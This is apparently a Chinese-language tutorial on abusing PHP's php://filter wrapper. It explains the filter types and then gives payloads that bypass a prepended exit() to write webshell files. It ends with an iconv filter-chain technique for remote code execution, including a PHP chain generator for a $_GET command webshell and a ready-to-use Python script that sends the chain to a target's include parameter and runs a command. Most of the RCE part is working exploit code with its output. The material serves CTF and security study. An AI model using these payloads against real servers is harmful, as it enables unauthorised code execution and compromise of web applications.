php://filter流最常見的用法就是文件包含讀取文件,但是它不止可以用來讀取文件,還可以和RCE,XXE,反序列化等進行組合利用
filter協議介紹
php://filter是php獨有的一種協議,它是一種過濾器,可以作為一個中間流來過濾其他數據流,通常使用該協議來讀取或者寫入部分數據,且在讀取和寫入之前對數據進行一些過濾,例如base64
和rot13
等處理
filter協議的一般語法為
php://filter/過濾器|過濾器/resource=待過濾的數據流
過濾器可以通過管道符設置多個,按照鏈式的方式依次對數據進行過濾處理
php filter的過濾器
字符串過濾器
以string
字符串開頭,常見的過濾器有rot13
、tolower
、toupper
、strip_tags
等,例如
php://filter/read=string.rot13/resource=data://text/plain,abcdefg
toupper、tolower
是對字符串進行大小寫轉換處理
strip_tags
對數據流進行strip_tags
函數的處理,該函數功能為剝去字符串中的 HTML
、XML
以及 PHP
的標簽,簡單理解就是包含有尖括號中的東西。
轉換過濾器
主要含有三類,分別是base64
的編碼轉換、quoted-printable
的編碼轉換以及iconv
字符編碼的轉換。該類過濾器以convert
開頭。
Quoted-printable
可譯為可打印字符引用編碼,可以理解為將一些不可打印的ASCII
字符進行一個編碼轉換,轉換成=
后面跟兩個十六進制數
壓縮過濾器
主要有兩類,zlib
和bzip2
,其中zlib.deflate
和bzip2.compress
用于壓縮,zlib.inflate
和bzip2.decompress
用于解壓縮。
加密過濾器
以mcrypt
開頭,后面指定一個加密算法。本特性已自PHP 7.1.0
起廢棄。強烈建議不要使用本特性。
(ps:php://filter面對不可用的規則只是報個Warning,之后會跳過繼續執行)
繞過php exit()
file_put_contents($filename,"<?php exit();".$content);
$content在開頭增加了exit,導致文件運行直接退出
那么該怎么繞過呢,只要將content前面的那部分內容使用某種手段(編碼等)進行處理,導致php不能識別該部分就可以
Base64編碼繞過
Base64在進行解碼的時候,是4個字符一組進行解碼,也就是說如果構造一個字符串如aaaabTFzbjB3,前面的四個a會被當成一組進行正常解碼,后面真正的base64編碼也就會正常解碼。因此在使用base64編碼繞過該限制的時候,需要自己補一些填充符,讓前面需要繞過的字符串組合起來長度是4的倍數,因為前面參數解碼的字符串只有phpexit,因此上述的繞過方式為:
$filename = "php://filter/write=convert.base64-decode/resource=shell.php";
$content = "aPD9waHAgcGhwaW5mbygpOz8+"
rot13
繞過
方式和base64
類似,將payload
轉換一下即可:
$filename = "php://filter/write=string.rot13/resource=shell.php";
$content = "<?cuc cucvasb();?>";
組合方式繞過
例如使用strip_tags
和base64
進行繞過:
$filename = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
$content = "?>PD9waHAgcGhwaW5mbygpOz8+";
iconv
字符編碼轉換
這里用到幾種編碼:
UCS-2:對目標字符串進行2位一反轉
UCS-4:對目標字符串進行4位一反轉
payload
生成:
<?php
$a = "<?php phpinfo();?>aa";
echo iconv("UCS-4LE","UCS-4BE",$a);
payload:
# 2位一反轉
$content = "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php";# 4位一反轉(注意添加一些填充位)
$content = "php://filter/write=convert.iconv.UCS-4LE.UCS-4BE|aa?<aa phpiphp(ofn>?;)/resource=shell.php";
組合繞過方式
感覺能單個過濾器繞過的,就可以不用多個過濾器一起組合繞過。
strip_tags+base64編碼繞過
繞過思路就是:閉合前面的<?php標簽,并使用strip_tags進行處理過濾,然后正常base64解碼
構造payload如下:
$content = "php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php";
ps:resource后面的路徑,php://filter仍然會將其視作位過濾器進行一個過濾處理,例如:
$content = "php://filter/resource=./convert.base64-encode/../shell.php";
RCE的實現
iconv filter
在 PHP 中,我們可以利用 PHP Base64 Filter 寬松的解析,通過 iconv filter 等編碼組合構造出特定的 PHP 代碼進而完成無需臨時文件的 RCE
眾所周知,include 函數實際包含的是 Base64 解碼后的 PHP 代碼。
那我們有沒有辦法通過編碼形式,構造產生自己想要的內容呢?這里就提到了我們今天要介紹的技巧。
PHP Filter 當中有一種 convert.iconv 的 Filter ,可以用來將數據從字符集 A 轉換為字符集 B ,其中這兩個字符集可以從 iconv -l 獲得,這個字符集比較長,不過也存在一些實際上是其他字符集的別名
<?php
$url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text";
echo file_get_contents($url);
// Output:
// some+ADwAPg-text
使用以上例子,我們可以通過 iconv 來將 UTF-8 字符集轉換到 UTF-7 字符集。那么這個有什么用呢?
結合我們上述提到的編碼、文件內容,我們是不是可以利用一些固定文件內容來產生 webshell 呢?
結合 PHP Base64 寬松性,即使我們使用其他字符編碼產生了不可見字符,我們也可以利用 convert.base64-decode 來去掉非法字符,留下我們想要的字符。
所以我們先假設我們的文件內容為 14 個 a 字符,我們可以通過暴力遍歷 iconv 支持的字符編碼形式,看我們得到的結果,例如:
$url = "php://filter/";$url .= "convert.iconv.UTF8.CSISO2022KR";$url .= "/resource=data://,aaaaaaaaaaaaaa"; //我們這里簡單使用 `data://` 來模擬文件內容讀取。
var_dump(file_get_contents($url));// hexdump:
// 00000000 73 74 72 69 6e 67 28 31 38 29 20 22 1b 24 29 43 |string(18) ".$)C|
// 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 22 0a |aaaaaaaaaaaaaa".|
我們可以看到這個 UTF8.CSISO2022KR 編碼形式,并且通過這個編碼形式產生的字符串里面, C 字符前面的字符對于 PHP Base64 來說是非法字符,所以接下來我們只需要 base64-decode 一下就可以去掉不可見字符了,但是與此同時,我們的 C 字符也被 base64-decode 解碼了,這時候我們需要再把解碼結果使用一次 base64-encode 即可還原回來原來的 C 字符了。
$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "|convert.base64-decode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));// hexdump
// 00000000 73 74 72 69 6e 67 28 31 31 29 20 22 09 a6 9a 69 |string(11) "...i|
// 00000010 a6 9a 69 a6 9a 69 a6 22 0a |..i..i.".|$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "|convert.base64-decode|convert.base64-encode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));// hexdump
// 00000000 73 74 72 69 6e 67 28 31 32 29 20 22 43 61 61 61 |string(12) "Caaa|
// 00000010 61 61 61 61 61 61 61 61 22 0a |aaaaaaaa".|
Craft Base64 payload
因為 base64 編碼合法字符里面并沒有尖括號,所以我們不能通過以上方式直接產生 PHP 代碼進行包含,但是我們可以通過以上技巧來產生一個 base64 字符串,最后再使用一次 base64 解碼一次就可以了。
例如我們生成PAaaaaa,最后經過base64解碼得到第一個字符為<,后續為其他不需要的字符(垃圾字符),按照這個方法就可以構造一個webshell的base64字符串了
可以使用 convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2
來生成
$url = "php://filter/";
$url = $url."convert.iconv.UTF8.CSISO2022KR";
$url = $url."|convert.base64-decode|convert.base64-encode|";$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
// $url = $url."|convert.base64-decode|convert.base64-encode";$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));// hexdump
// 00000000 73 74 72 69 6e 67 28 35 32 29 20 22 38 01 fe 00 |string(52) "8...|
// 00000010 43 00 00 00 61 00 00 00 61 00 00 00 61 00 00 00 |C...a...a...a...|
// 00000020 61 00 00 00 61 00 00 00 61 00 00 00 61 00 00 00 |a...a...a...a...|
// *
// 00000040 22 0a |".|// 起用了注釋那一行后,即還原到 Base64 之后的 hexdump:
// 00000000 73 74 72 69 6e 67 28 31 32 29 20 22 38 43 61 61 |string(12) "8Caa|
// 00000010 61 61 61 61 61 61 61 61 22 0a |aaaaaaaa".|
我們可以通過這種形式來將前面部分的構造成我們所需要的 base64 字符串,最后 base64 解碼即可成為我們想要的 PHP 代碼了。
因為最終的 base64 字符串,是由 iconv 相對應的編碼規則生成的,所以我們最好通過已有的編碼規則來適當地匹配自己想要的 webshell ,比如
<?=`$_GET[0]`;;?>
以上 payload 的 base64 編碼為 PD89YCRfR0VUWzBdYDs7Pz4=
,而如果只使用了一個分號,則編碼結果為 PD89YCRfR0VUWzBdYDs/Pg==
,這里 7 可能相對于斜杠比較好找一些,也可能是 exp 作者沒有 fuzz 或者找到斜杠的生成規則,所以作者這里使用了兩個分號避開了最終 base64 編碼中的斜杠。
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array('R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2','B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2','C' => 'convert.iconv.UTF8.CSISO2022KR','8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2','9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB','f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213','s' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61','z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS','U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932','P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213','V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5','0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2','Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2','W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2','d' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2','D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2','7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2','4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";foreach (str_split(strrev($base64_payload)) as $c) {$filters .= $conversions[$c] . "|";$filters .= "convert.base64-decode|";$filters .= "convert.base64-encode|";$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";// echo $final_payload;
var_dump(file_get_contents($final_payload));// hexdump
// 00000000 73 74 72 69 6e 67 28 31 38 29 20 22 3c 3f 3d 60 |string(18) "<?=`|
// 00000010 24 5f 47 45 54 5b 30 5d 60 3b 3b 3f 3e 18 22 0a |$_GET[0]`;;?>.".|
這里需要注意的地方是:
- convert.iconv.UTF8.UTF7 將等號轉換為字母。之所以使用這個的原因是 exp 作者遇到過有時候等號會讓 convert.base64-decode 過濾器解析失敗的情況,可以使用 iconv 從 UTF8 轉換到 UTF7 ,會把字符串中的任何等號變成一些 base64 。
- data://,后的數據是為了方便展示,需要補足一定的位數,當然如果使用 include 就不能用了,畢竟需要 RFI
還有python一把梭腳本
import requestsurl = "http://localhost/index.php"
file_to_use = "/etc/passwd"
command = "/readflag"#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"conversions = {'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2','B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2','C': 'convert.iconv.UTF8.CSISO2022KR','8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2','9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB','f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213','s': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61','z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS','U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932','P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213','V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5','0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2','Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2','W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2','d': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2','D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2','7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2','4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"for c in base64_payload[::-1]:filters += conversions[c] + "|"# decode and reencode to get rid of everything that isn't valid base64filters += "convert.base64-decode|"filters += "convert.base64-encode|"# get rid of equal signsfilters += "convert.iconv.UTF8.UTF7|"filters += "convert.base64-decode"final_payload = f"php://filter/{filters}/resource={file_to_use}"r = requests.get(url, params={"0": command,"action": "include","file": final_payload
})print(r.text)